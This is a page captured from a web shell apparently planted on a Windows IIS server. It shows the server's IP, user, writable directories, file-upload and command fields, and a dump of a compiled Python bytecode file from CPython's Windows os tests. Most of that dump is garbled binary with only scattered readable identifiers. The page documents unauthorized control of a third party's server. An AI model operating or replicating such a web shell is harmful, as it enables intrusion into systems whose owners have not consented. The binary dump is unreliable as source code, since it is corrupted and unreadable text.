403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.1
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_os/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_os/__pycache__/test_windows.cpython-315.opt-1.pyc
R
>lqjJ\c�z�]PHs]PHs\OQ6wc\OQ2g]PHs]PHs]PHs]PHs]PH s]PH$s	]PH(s
]PH,s]PH0s]PH4s
]PH8s]QH<Gs]QHDGs]QHDGs]QHPGsQQ\O,2sQ	Q
\O,2s\O2\O4Q6HQ2Q
Q\O,22s\O8QQ\O,22sQQ\O,2sQQ\O,2s\ Q6Xc\OB2P!P!)��win32zWin32 specific tests)�support)�
import_helper)�	os_helper)�create_filec��`�\sQs]snQsQsQs\O\	PIQ2Q2s
\OQ2\O2Q22s\O2Q2sQ	sUsP!)
�Win32KillTestsc��]PHo]QHGo]PH
oUOOO
oUOUmUOUOUO2UOUOUO2UOUO2UOUO21UmQo[O[O QQO#U2,[O$[O$[O$Q5oUO'UO(O*2UO'UO,O*2UO'UO.O*2]]dq�V�6c�UO12e�UO3[5U22o
UUO7UO(O922V�O;U
2PPP2oUO=U]Q2U
O>%c+UOAVjO>OC22L2[DOFQ2U]*
oJ�UOIQ2[JOLUONU2UOAUOQ2U2P!)	r��wintypes�running�-cz<import sys;sys.stdout.write('{}');sys.stdout.flush();input())�stdout�stderr�stdinzPeekNamedPipe failedg�������?z1Did not receive communication from the subprocess))�ctypesr�msvcrt�windll�kernel32�
PeekNamedPipe�BOOL�restype�HANDLE�POINTER�c_char�DWORD�argtypes�
subprocess�Popen�sys�
executable�format�PIPE�
addCleanupr�closerr�poll�create_string_buffer�len�
get_osfhandle�fileno�sizeof�assertNotEqual�value�assertEqual�decode�time�sleep�fail�os�kill�pid�wait)�self�sigrrrr�msg�proc�count�max�buf�rslts&&          �.C:\Python315\\Lib\test\test_os\test_windows.py�_kill�Win32KillTests._kills���
	�#���
�
�.�.�<�<�
� (�
�
�
��"*�/�/�"(�.�.����"?�"*�.�.�"(�.�.����"@�"(�.�.����"@�"(�.�.����"@�"B�
�����������"+�,2�6�#�;�	!8�
(2���'1���&0�o�o�7��	
������)�)�*�������)�)�*�����
�
�(�(�)���s��k�d�i�i�k�1��-�-�c�#�h�7�C�!��!5�!5�d�k�k�6H�6H�6J�!K�!$�m�m�C�&8�$��d�L�D�����a�)?�@��y�y�y�� � ��i�i�&6�&6�&8�9���J�J�s�O��Q�J�E��I�I�I�J�
������#���������c�*�c�F�UO[O2P!�N)r?�signal�SIGTERM�r6s&r>�test_kill_sigterm� Win32KillTests.test_kill_sigtermOs���
�
�6�>�>�"rAc�*�UO]d2P!)�d)r?rFs&r>�
test_kill_int�Win32KillTests.test_kill_intSs
���
�
�3�rAz
requires mmapc��Q[O2*o[OP]U2o]U]$[OO[OO
[2Q2o[OVS,o[OU[OQ5oS9^tt^2[O[O2FDoUO!2dJL#	UO#2UO%Q2[O"UO&U2UO)[OQ5PPP2P![O*c4SO#2SO%QO-S22KQh9h)%fhP!9h)z
test_os_%szwin_console_handler.py)�
creationflagsz'Subprocess didn't finish initialization)�timeoutzsubprocess did not stop on {})�uuid�uuid1�mmapr2�path�join�dirname�__file__rr rr�CREATE_NEW_PROCESS_GROUPr�sleeping_retry�
SHORT_TIMEOUTr%r3r1r4r5�TimeoutExpiredr!)	r6�event�name�tagname�m�script�cmdr9�_s	&&&      r>�_kill_with_event�Win32KillTests._kill_with_eventWs@�������-���I�I�b�!�W�%����!�������b�g�g�o�o�h�7�6�8���~�~�v�/������.8�.Q�.Q�S���T��+�+�G�,A�,A�B���9�9�;�&��C�
�	�	���	�	�C�D��G�G�D�H�H�e�$�
H��	�	�'�"7�"7�	�8��T�� �,�,�
H��	�	���	�	�9�@�@��F�G�
H��!�T�T�s=�>8F8�;AF8� E-�-F5�1F5�2F8�4F5�5F8�8G		�G		z.subprocesses aren't inheriting Ctrl+C propertyc�h�]QHGo]PHoUOUO22oUOO
OoUOUO2UO1UmUOUm	UU]2UO[OQ2P!)rr
�CTRL_C_EVENT)
rrr�c_intrr�SetConsoleCtrlHandlerrrrrbrDre)r6rr�NULLrgs&    r>�test_CTRL_C_EVENT� Win32KillTests.test_CTRL_C_EVENTys���	$���~�~�f�l�l�+�-�� &�
�
� 6� 6� L� L��*0�.�.����*F�*2�-�-�*9��&�(0�
�
��%�
	�d�A�&����f�1�1�>�BrAc�H�UO[OQ2P!)�CTRL_BREAK_EVENT)rbrDrlrFs&r>�test_CTRL_BREAK_EVENT�$Win32KillTests.test_CTRL_BREAK_EVENT�s�����f�5�5�7I�JrA�)�__name__�
__module__�__qualname__�__firstlineno__r?rGrK�unittest�skipIfrRrb�skipr�requires_subprocessrirm�__static_attributes__�__classdictcell__��
__classdict__s@r>rrs�����4+�l#���_�_�T�T�\�?�3�H�4�H�B�]�]�C�D�� � �"�C�#�E�C�$
� � �"�K�#�KrArc�>`�\sQs]�snQsQsQsQsQsQs	Us
P!)�Win32ListdirTestszTest listdir on Windows.c	�D�,Um[]2FD�oQU*o[OO	[
OU2oQU*o[OO	[
OU2o[OU2[UQQQ59^tt^2oUOQU*2PPP2UOOV$,2J�	UOO2P!)%fhKL9h)�zSUB%dzFILE%d�wzutf-8)�encodingz'I'm %s and proud of it. Blame test_os.
)�
created_paths�ranger2rSrTr�TESTFN�makedirs�open�write�extend�sort)r6�i�dir_name�dir_path�	file_name�	file_path�fs&      r>�setUp�Win32ListdirTests.setUp�s�������q��A���{�H��w�w�|�|�I�$4�$4�h�?�H� �1��I������Y�%5�%5�y�A�I��K�K��!��i��w�7�7�1����B�Y�N�O�8����%�%�x�&;�<��	
�����!�8�7�s�2D	�D
�D
c�P�[O[O2P!rC)�shutil�rmtreerr�rFs&r>�tearDown�Win32ListdirTests.tearDown�s���
�
�i�&�&�'rAc
��UO[[O[O
22UO2SO[[O[O[O
222UOTt,tFDo[OU2MJ	to2P!ttoh)z-Test when the path is not an "extended" path.)r-�sortedr2�listdirrr�r��fsencode�r6rSs& r>�test_listdir_no_extended_path�/Win32ListdirTests.test_listdir_no_extended_path�s���	
����r�z�z�)�"2�"2�3�4��"�"�	$�
	
����r�z�z�"�+�+�i�.>�.>�"?�@�A�/3�/A�/A�B�/A�t����T�"�/A�B�	D��Bs�!!C
c
�8�Q[OO[O2*oUO[
[OU22UO2Q[O[OO[O22*oSO[
[OU22UOTt,tFDo[OU2MJ	to2P!ttoh)z&Test when the path starts with '\\?\'.�\\?\s\\?\)
r2rS�abspathrr�r-r�r�r�r�r�s& r>�test_listdir_extended_path�,Win32ListdirTests.test_listdir_extended_path�s����2�7�7�?�?�9�+;�+;�<�<������r�z�z�$�'�(��"�"�	$�
�B�K�K������	�8H�8H�(I�J�J������r�z�z�$�'�(�/3�/A�/A�B�/A�t����T�"�/A�B�	D��Bs�-!D
)r�)rprqrrrs�__doc__r�r�r�r�rxryrzs@r>r}r}�s$����"�"�(�
D�
D�
DrAr}�ntzNT specific testsc�>`�\sQs]�snQsQsQsQsQsQs	Us
P!)�Win32ListdriveTestsz5Test listdrive, listmounts and listvolume on Windows.c	���[O,QN[OO	[O
QQ2Q2QQQ5oUO
2oSTt.tFDp3OQ2%fJUjJ	toUmSTt.tFDp3Q*Q	6XfJUjJ	toUm	STt.tFDp3Q
*Q	6XfJUjJ	toUm
P!ttohttohttoh)�
fsutil.exe�
SystemRootz\Windows�System32�mbcs�ignore)�cwdr��errorsr�:�NNz:\:r��N)r��volume�list)r�check_outputr2rSrT�getenv�
splitlines�
startswith�
known_volumes�known_drives�known_mounts)r6�out�lines�ls&   r>r��Win32ListdriveTests.setUp�s����%�%�,������R�Y�Y�|�[�A�:�N���	
����� ��).�J��A�,�,�y�2I�a�a��J���(-�@��1�2��%��Q�Q��@���(-�A��1�3��5��Q�Q��A����K��@��As$�$C!�C!�C&�*C&�;C+�C+c���[O2oUOU[2UO	UO
UO
[
U2*2P!rC)r2�
listdrives�assertIsInstancer��assertSetEqualr��set)r6�drivess& r>�test_listdrives�#Win32ListdriveTests.test_listdrives�sF����������f�d�+�����������F��+�	
rAc���[O2oUOU[2UO	UO
UO
[
U2*2P!rC)r2�listvolumesr�r�r�r�r�)r6�volumess& r>�test_listvolumes�$Win32ListdriveTests.test_listvolumes�sG���.�.�"�����g�t�,�����������W��-�	
rAc	��[O2FDeo[OU2oUOU[2UO[
U2UO[
U2*2Jg	P![c6o[O%c[QSQS2Po=J�Po=J�Po=hh9h)�Skippingz
because of)r2r��
listmountsr�r�r�r�r��OSErrorr�verbose�print)r6r��mounts�exs&   r>�test_listmounts�#Win32ListdriveTests.test_listmounts�s����n�n�&�F�

����v�.��
�%�%�f�d�3��#�#���K��%�%��F��3��'���
@��?�?�?��*�f�l�B�?�?�#��
@�s#�B�	C�
C�B>�$B>�>C)r�r�r�)rprqrrrsr�r�r�r�r�rxryrzs@r>r�r��s"����?�B�
�
��rAr�c�`�\sQs]�snQs\OO\2s	Qs
\OO\	2sQs
QsQsQsQsQsQ	sQ
sQsQsQ
s\O2\OO5Q29%c\OO7Q2Q2Q2sQsQsQsUs P!)�Win32SymlinkTests�filelinktest�dirlinktestzmissing linkc��P!rCrorFs&r>r��Win32SymlinkTests.setUp���rAc���[OOUO2%c![OUO2[OOUO
2%c![OUO
2[OOUO2%c#[OUO2P!P!rC)	r2rS�exists�filelink�remove�dirlink�rmdir�lexists�missing_linkrFs&r>r��Win32SymlinkTests.tearDowns���
�7�7�>�>�$�-�-�(�(��I�I�d�m�m�$�
�7�7�>�>�$�,�,�'�'��H�H�T�\�\�"�
�7�7�?�?�4�,�,�-�-��I�I�d�'�'�(�.rAc��[OUOUO2UO	[O
O
UO22UO	[O
OUO22UO	[O
OUO22UOUOUO2P!rC)
r2�symlink�dirlink_targetr��
assertTruerSr��isdir�islink�
check_statrFs&r>�test_directory_link�%Win32SymlinkTests.test_directory_links���
�
�
�4�&�&����5���������t�|�|�4�5�������
�
�d�l�l�3�4���������t�|�|�4�5�������d�&9�&9�:rAc��[OUOUO2UO	[O
O
UO22UO	[O
OUO22UO	[O
OUO22UOUOUO2P!rC)
r2r��filelink_targetr�r�rSr��isfiler�r�rFs&r>�test_file_link� Win32SymlinkTests.test_file_links���
�
�
�4�'�'����7���������t�}�}�5�6���������t�}�}�5�6���������t�}�}�5�6�����
�
�t�';�';�<rAc���UOo[OOU2%c[OU2QoP	o[O
V!U2P!)z2Create a "directory" link to a non-existent targetz"c:\\target does not exist.29r3c740)r�r2rSr�r�r�)r6�linkname�target�
target_is_dirs&   r>�_create_missing_dir_link�*Win32SymlinkTests._create_missing_dir_linksD���$�$��
�7�7�?�?�8�$�$��I�I�h��6���
�
�
�
�6�]�3rAc�h�UO2[OUO2P!rC)r�r2r�r�rFs&r>�,test_remove_directory_link_to_missing_target�>Win32SymlinkTests.test_remove_directory_link_to_missing_target s"���%�%�'�	�	�	�$�#�#�$rAc��UO2UO[OO	UO
22P!rC)r��assertFalser2rSr�r�rFs&r>�.test_isdir_on_directory_link_to_missing_target�@Win32SymlinkTests.test_isdir_on_directory_link_to_missing_target's/���%�%�'���������t�'8�'8�9�:rAc�h�UO2[OUO2P!rC)r�r2r�r�rFs&r>�.test_rmdir_on_directory_link_to_missing_target�@Win32SymlinkTests.test_rmdir_on_directory_link_to_missing_target+s ���%�%�'�
����"�"�#rAc��UO[OU2[OU22UO[OU2[OU22[O
U2oUO[OU2[OU22UO[OU2[OU22P!rC)r-r2�statr+�lstatr�)r6�linkr��
bytes_links&&& r>r��Win32SymlinkTests.check_stat/s����������������8����B�H�H�T�N�B�G�G�D�M�:��[�[��&�
��������,�b�g�g�f�o�>����B�H�H�Z�0�"�'�'�*�2E�FrAc�2�[OO[O2o[OOUQ2o[OOUQ2oUO
[OU2[OU2[OU2[OU2[OO[OOUQ22o[U2[O2o[OU2[OOUQ2o[O[OOU2Q2UOQ[O[O222UO![O"U2[O"Q22[OU2UO![O"U2[O"[OOU222[OU2UO![O"U2[O"[OOU222[OU2P![OS2h9h)�level2�level3�file1r)r2rSr�rr�rTr#r��mkdirr�getcwd�chdirr��relpath�assertInr�r-r)r6�level1r
rr�orig_dirrs&      r>�
test_12084�Win32SymlinkTests.test_120847s���������!1�!1�2�������f�h�/�������f�h�/�����	�(�(�&�1�
�����
�����
���������������V�W� =�>���E���9�9�;��	��H�H�V���7�7�<�<���/�D��J�J�r�w�w���u�-�v�6��M�M�&�"�*�*�R�Y�Y�[�"9�:�
���R�W�W�U�^�R�W�W�V�_�=�
�H�H�V�����R�W�W�U�^��W�W�R�W�W�_�_�T�%:�;�
=�
�H�H�V�����R�W�W�U�^��W�W�R�W�W�_�_�T�%:�;�
=�
�H�H�X���B�H�H�X��s
�/F7K>�>L�C:\Users\All Users�C:\ProgramDatazTest directories not foundc��[OQ2oUO[OO	UQ22P!)rr)r2�readlinkr�rS�samefile)r6r�s& r>�
test_29248�Win32SymlinkTests.test_29248Zs1�����2�3��������(�(��1B�C�DrAc�F�Qo[OOU,]
*oQU*U1V1UQ*UQ*1,oSFD�vqE[OVE2[OU2[O[OU2[OU22[OU2J�	P![
cKjh9h[cK{h9h[
cJ�h9h[cJ�h9h)�X�\:N�N�XXXXXXXXXXXXXXXXXXXXXXXXXXX)r2rSrTr�r�r��FileNotFoundErrorr�)r6�segmentrS�
test_cases�src�dests&     r>�test_buffer_overflow�&Win32SymlinkTests.test_buffer_overflowis������w�w�|�|�g�Y��^�,���D�[�'�"�
�O�
�$�Z��d��$�

�
�$�I�C�
��
�
�3�%���I�I�d�O�
��
�
�2�;�;�s�+�R�[�[��->�?���I�I�d�O�#$�������%�
��
�������%�
��
�s`�C.�*C�?D�C?�	C+�'C+�*C+�.	C<�8C<�;C<�?	D�	D�
D�	D �D �D c��[OOQ2o[OOU2%fUO	Q2[
O[OU2Q2Tt,tFD"o[OOV2MJ$	ooSFD�o[O%c[2[QU2[OU2oUOU[OU22UO[O UO"22UOUO$[O&2UO)[OO+U22P!	UO	Q2P!ttoh)z$%LOCALAPPDATA%\Microsoft\WindowsAppsz%test requires a WindowsApps directoryz*.exezTesting withz$test requires an app execution alias)r2rS�
expandvarsr��skipTest�fnmatch�filterr�rTrr�r�rr-rr��S_ISLNK�st_mode�st_reparse_tag�IO_REPARSE_TAG_APPEXECLINKr�r�)r6�root�a�aliases�alias�sts&     r>�test_appexeclink�"Win32SymlinkTests.test_appexeclink�s-���w�w�!�!�"I�J���w�w�}�}�T�"�"��M�M�A�B�$�N�N�2�:�:�d�+;�W�E�G�E�q��7�7�<�<��(�E�	�G��E��������n�e�,����%��B����R������0����T�\�\�"�*�*�5�6����R�.�.��0O�0O�P��O�O�B�G�G�N�N�5�1�2���
�M�M�@�A��Gs�*F=ro)!rprqrrrsr�r2rSr�rVr�r�rUr�r�r�r�r�r�r�r�r�rr�rrt�
skipUnlessr�r�rr'r7rxryrzs@r>r�r��s������H��g�g�o�o�h�/�O��G��W�W�_�_�_�5�N�!�L�5�)�;�=�4�%�;�$�G�!�F��������)>�?�B�B� "�����/@� A�8�:�
E�:�
E�!�FB�BrAr�c�`�\sQsQsnQs\OO\OO\	22s
QsQsQs
QsQsUsP!)�Win32JunctionTests��junctiontestc��P!rCrorFs&r>r��Win32JunctionTests.setUp�r�rAc��[OOUO2%c#[OUO2P!P!rC)r2rSr��junction�unlinkrFs&r>r��Win32JunctionTests.tearDown�s.��
�7�7�?�?�4�=�=�)�)��I�I�d�m�m�$�*rAc�L�[OUOUO2UO	[
OOUO22UO	[
OOUO22UO	[
OOUO22UO[
OUO2[
OUO22UO[
OUO2[
OUO22UO[
OOUO22UO[
OO!QUO*2[
OO![
O"UO222P!)r�)�_winapi�CreateJunction�junction_targetrAr�r2rSr�r�r�r+rrr-r�r��normcaserrFs&r>�test_create_junction�'Win32JunctionTests.test_create_junction�s4�����t�3�3�T�]�]�C����������
�
�6�7���������t�}�}�5�6�������
�
�d�m�m�4�5����B�G�G�D�M�M�2�B�H�H�T�]�]�4K�L����������/�����9M�9M�1N�O�	
���������
�
�6�7�������)�)�)�d�6J�6J�*J�K����)�)�"�+�+�d�m�m�*D�E�	GrAc���[OUOUO2UO	[
OOUO22UO	[
OOUO22[
OUO2UO[
OOUO22P!rC)rErFrGrAr�r2rSr�r�rBr�rFs&r>�test_unlink_removes_junction�/Win32JunctionTests.test_unlink_removes_junction�s������t�3�3�T�]�]�C���������t�}�}�5�6����������
�
�6�7�
�	�	�$�-�-� ����������
�
�6�7rAro)rprqrrrsrAr2rSrUr�rVrGr�r�rIrLrxryrzs@r>r;r;�sC�����H��g�g�o�o�b�g�g�o�o�h�&?�@�O�2�%�G�8�8rAr;c�`�\sQsQsnQs\O2Q2s\O2Q2sQs	Us
P!)�Win32NtTests��c��[OQ2o[OQ2o]PH
oUOQP	Q5oUOO
UOmUOOUOmUOO
UOO1UOmUO
2oUOO2oUOVBOU22oUO]U2UOoQQQ[ ,o[#]
2FD6o	SFD,o
UO%U
2[(O*U
2J.	J8	UOVBOU22oUO]U2UOU*
oUO]U2P![&cK�h9h[&cJ�h9h)r�rzKernel32.dll)�use_last_errorz\\?\C:z\\?\NULz	\\?\CONIN)r�
import_module�ctypes.wintypes�WinDLLrr�GetCurrentProcessrr�GetProcessHandleCount�LPDWORDrr�byrefr-r,rVr��_getfinalpathname�	Exceptionr2r)r6r�r�kernel�hproc�handle_count�ok�before_count�	filenamesrar\�handle_deltas&           r>�test_getfinalpathname_handles�*Win32NtTests.test_getfinalpathname_handles�s���
�
(�
(��
.���,�,�X�6������~�d��C��+1�?�?�+A�+A�� � �(�/5���/C�/C��$�$�,�17���1G�1G�17���1H�1H�1J��$�$�-��(�(�*�����,�,�.��
�
)�
)�%���l�1K�
L������B��#�)�)��
����	
�	��r��A�!����(�(��.���G�G�D�M�"���
)�
)�%���l�1K�
L������B��#�)�)�L�8������L�)��!�����
!����s0�G�$G,�	G)�%G)�(G)�,	G;�6G;�:G;c	��[OoUO[OU2[O2]*o[
OQ2o[O[OQV1[U2,29^tt^2o[O2U6c[OU2J3UO]2PPP2P![coPo=J`Po=hh9h[O cSO#2KJh9h)%fhP!9h)�a�            import os
            import sys
            import time

            filename = sys.argv[1]
            deadline = float(sys.argv[2])

            while time.time() < deadline:
                try:
                    with open(filename, "w") as f:
                        pass
                except OSError:
                    pass
                try:
                    os.remove(filename)
                except OSError:
                    pass
            r
)rr�r#rBr/�textwrap�dedentrrrr �strr2rr"r5rZ�	terminate)r6�filename�deadline�commandr9�es&     r>�test_stat_unlink_race�"Win32NtTests.test_stat_unlink_race�s����$�$�����	�(�(�(�3��9�9�;��?���/�/�#���(�
�
�s�~�~�t�W��H�
�V�
W�
W�[_��)�)�+��(�+��G�G�H�%�
!��	�	�!��X�
W��)�+�+��+���,�,�
!���� �
!��X�
W�
W�s`�D1�9C-�D1�D�-	D�7D�8D1�>D�D1�D.�D.�+D1�-D.�.D1�1E	�:E	c��``�[On[OO	Q2n[RQ29^tt^2oUO
Q2PPP2[OR2o[ORRQ,[OQ5UU1Q	koUO+U2[O%c[Q
R2[QU2[OR2o[O%c
[QU2UO-UO.]UO.12UO-UO0]UO012UO3UO4UO42UO3UO6UO62UO3UO8UO82UO3UO:UO:2UO=UO>UO>2P!)%fhCK�9h[Oc�o[O%cB[RRQQ2[SOO!QQ2O#22[O$R2L[&cLh9hSO)Q2Po=CKNPo=hh9h)
z %SystemRoot%\System32\icacls.exe�wbs	Test dataz/inheritance:r�rzfailed.�oem�replacez"Unable to create inaccessible filec�:�[ORRQQ,[OQ5[OR2P!)z/grantz*WD:(D)rs)rr��STDOUTr2rB)�ICACLSrks��r>�cleanup�9Win32NtTests.test_stat_inaccessible_file.<locals>.cleanup9s1����#�#�V�X�x��$K�+5�+<�+<�
>��I�I�h�rAzFile:zstat with access:z without access:) rr�r2rSr*r�r�rrr�rw�CalledProcessErrorrr�r�rr.�rstriprBr�r+r#r�st_dev�st_inor-r/�st_size�st_ctime�st_mtime�assertGreaterEqual�st_atime)r6r��stat1r�ry�stat2rxrks&     @@r>�test_stat_inaccessible_file�(Win32NtTests.test_stat_inaccessible_file!s����#�#�����#�#�$G�H��
�(�D�
!�
!�Q�
�G�G�L�!�"�����!��	@��#�#�V�X�7G�$H�+5�+<�+<�
>�	 �	
���� ��?�?�?��'�8�$��%�u�-�����!���?�?�?��$�e�,�	
�
�
�e�l�l�Q����$5�6��
�
�e�l�l�Q����$5�6�	
�������
�
�6��������
�
�6�	
���������8����������8�	
���������?�g"�
!�
!���,�,�	@������f�h�(8�)�D��b�i�i�&�&�u�i�8�?�?�A�B�
��	�	�(�#���
��
���M�M�>�?�?��	@�sa�H/�8)I�/I	�8I	�K4�K4�K/�.AK/�0K�K/�	K�K�K/�K�K/�/K4ro)rprqrrrsrcrrwror�rxryrzs@r>rOrO�sH����/*�b
� � �"�'!�#�'!�R
� � �"�7@�#�7@rArO�__main__)"rrt�platform�SkipTestrEr,rRr2r�rDrrrgr/rP�testr�test.supportrr�utilsr�TestCaserr}r9r\r��skip_unless_symlinkr�r;rOrp�mainrorAr>�<module>r�s*��
���<�<�7��
�
�
�2�
3�3����	�
�
�������&�"��wK�X�&�&�wK�t,D��)�)�,D�^
���R�W�W��_�&9�:�,�(�+�+�,�;�,�^���nB��)�)�nB��nB�b8��*�*�8�DT@�8�$�$�T@�n�z���M�M�O�rA

Youez - 2016 - github.com/yon3zu
LinuXploit